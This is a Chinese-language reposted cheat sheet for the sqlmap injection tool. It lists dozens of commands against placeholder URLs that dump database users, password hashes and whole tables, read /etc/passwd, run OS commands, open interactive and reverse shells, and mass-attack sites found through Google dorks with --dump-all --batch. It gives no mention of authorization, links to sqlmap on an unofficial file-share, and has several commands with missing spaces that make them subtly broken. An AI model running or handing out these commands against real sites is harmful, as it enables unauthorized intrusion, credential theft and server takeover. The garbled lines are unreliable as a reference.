安全攻防之SQL注入(通過sqlmap搞定所有問題)


第一步:

sqlmap基於Python,所以首先下載:

http://yunpan.cn/QiCBLZtGGTa7U  訪問密碼 c26e

第二步:

安裝Python,將sqlmap解壓到Python根目錄下;

第三步:

小試牛刀,查看sqlmap版本:

python sqlmap/sqlmap.py -h

第四步:

通過SQL注入掃描工具掃描網站,找出懷疑有SQL注入問題的URL;

推薦 啄木鳥 !~~ 《oo》

第五步:

1.基礎信息

python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #獲取當前用戶名稱 
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #獲取當前數據庫名稱
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 
python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #獲取字段內容

2.信息內容

python sqlmap/sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  執行測試等級
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定數據庫類型
python sqlmap/sqlmap.py -u "http://url/news?id=1" --users #列數據庫用戶
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs#列數據庫
python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords #數據庫用戶密碼
python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用戶數據庫密碼
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20條
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all -v 0 #列出所有數據庫所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges #查看權限
python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges -U root #查看指定用戶權限
python sqlmap/sqlmap.py -u "http://url/news?id=1" --is-dba -v 1 #是否是數據庫管理員
python sqlmap/sqlmap.py -u "http://url/news?id=1" --roles #枚舉數據庫用戶角色
python sqlmap/sqlmap.py -u "http://url/news?id=1" --udf-inject #導入用戶自定義函數(獲取系統權限!)
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出當前庫所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1" --union-cols #union 查詢表記錄
python sqlmap/sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入
python sqlmap/sqlmap.py -u "http://url/news?id=1" -b #獲取banner信息
python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3" #post注入
python sqlmap/sqlmap.py -u "http://url/news?id=1" -v 1 -f #指紋判別數據庫類型
python sqlmap/sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定關鍵詞
python sqlmap/sqlmap.py -u "http://url/news?id=1" --sql-shell #執行指定sql命令
python sqlmap/sqlmap.py -u "http://url/news?id=1" --file /etc/passwd
python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-cmd=whoami #執行系統命令 python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-shell #系統交互shell
python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-pwn #反彈shell
python sqlmap/sqlmap.py -u "http://url/news?id=1" --reg-read #讀取win系統注冊表
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存進度
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢復已保存進度sqlmap -g "google語法" --dump-all --batch #google搜索注入點自動 跑出所有字段攻擊實例
python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM